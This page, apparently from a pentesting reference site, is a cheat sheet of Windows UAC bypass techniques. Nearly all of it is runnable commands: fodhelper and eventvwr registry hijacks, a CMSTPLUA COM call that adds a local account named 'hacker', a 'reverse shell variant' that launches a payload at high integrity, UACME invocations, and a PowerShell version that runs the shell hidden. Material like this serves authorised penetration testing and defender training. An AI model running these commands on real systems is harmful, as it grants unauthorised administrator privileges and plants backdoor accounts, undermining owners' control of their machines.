# UAC Bypass for Windows Privilege Escalation

> Techniques to bypass User Account Control (UAC) mechanisms, escalating standard user privileges to administrator level on Windows systems.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/uac-bypass
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-04-24

User Account Control (UAC) is not a security boundary: it is a convenience feature. A local administrator in a medium integrity process can bypass UAC to reach high integrity without triggering a UAC prompt. UAC bypass matters when you have admin credentials or a shell running as an admin user but at medium integrity. Common bypass techniques covered here:

- `fodhelper.exe` registry hijack (Windows 10)
- `eventvwr.exe` registry hijack (Windows 7/8/10)
- CMSTPLUA COM object (Windows 10/11)
- UACME automated bypass collection

## Prerequisites Check

UAC bypass only applies when:

1. Your user is in the local Administrators group
2. The process is running at medium integrity (not already elevated)

Check both:

```bash
# Are you in the administrators group?
net user %USERNAME% | findstr /i "Local Group"
whoami /groups | findstr "Administrators"

# What integrity level is your current process?
whoami /groups | findstr "Mandatory"
# Medium Mandatory Level = UAC bypass needed
# High Mandatory Level = already elevated, skip UAC bypass
```

If you are already at High integrity, UAC bypass is irrelevant: proceed directly to other privesc techniques.

## fodhelper.exe: Registry Hijack (Windows 10)

`fodhelper.exe` is a Microsoft-signed binary that auto-elevates (runs as high integrity without a UAC prompt). It reads a registry key under `HKCU` before execution: which any user can write to. Set that key to your payload and launch fodhelper.

```bash
# Write payload to registry
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /f

# Launch fodhelper: it reads the registry key and executes your command at high integrity
start C:\Windows\System32\fodhelper.exe
```

Wait a moment: an elevated cmd.exe opens. Verify:

```bash
whoami /groups | findstr "High Mandatory"
```

**Reverse shell variant:**

```bash
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Temp\shell.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /f
start C:\Windows\System32\fodhelper.exe
```

**Cleanup:**

```bash
reg delete HKCU\Software\Classes\ms-settings /f
```

## eventvwr.exe: Registry Hijack (Windows 7/8/10)

`eventvwr.exe` also auto-elevates and reads from `HKCU` before launching mmc.exe. Works on older Windows versions where fodhelper is not present.

```bash
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f
start C:\Windows\System32\eventvwr.exe
```

**Cleanup:**

```bash
reg delete HKCU\Software\Classes\mscfile /f
```

## CMSTPLUA COM Object (Windows 10/11)

Uses the `CMSTPLUA` COM object which is configured to auto-elevate. No registry modification needed: just invoke it via PowerShell:

```powershell
$obj = [activator]::CreateInstance([type]::GetTypeFromProgID("Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"))
$obj.ShellExec("cmd.exe", "/c net user hacker Password123! /add", "", "open", 0)
```

## Automated UAC Bypass with UACME

UACME maintains a comprehensive list of UAC bypass techniques:

```bash
# List all available methods
.\Akagi64.exe /?

# Method 23: pkgmgr.exe / DismCore.dll DLL hijack
.\Akagi64.exe 23 C:\Windows\System32\cmd.exe

# Method 33: fodhelper
.\Akagi64.exe 33 C:\Windows\System32\cmd.exe

# Method 61: works on Windows 10 20H2+
.\Akagi64.exe 61 C:\Windows\System32\cmd.exe
```

Download: [https://github.com/hfiref0x/UACME](https://github.com/hfiref0x/UACME)

## PowerShell UAC Bypass

```powershell
# Check UAC level
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
# 0 = No prompt (UAC disabled effectively)
# 2 = Prompt for credentials
# 5 = Prompt for consent (default)

# fodhelper via PowerShell
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Windows\Temp\shell.exe" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
```

## When UAC Bypass Is Not Needed

If UAC is set to "Never notify" (`ConsentPromptBehaviorAdmin = 0`), all admin actions are automatically elevated:

```bash
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# 0x0 = UAC disabled = no bypass needed
```

## References

- [UACME](https://github.com/hfiref0x/UACME) - hfiref0x Comprehensive UAC bypass technique database with working implementations.
- [UAC Architecture](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) - Microsoft Docs Auto-elevation rules and integrity level documentation.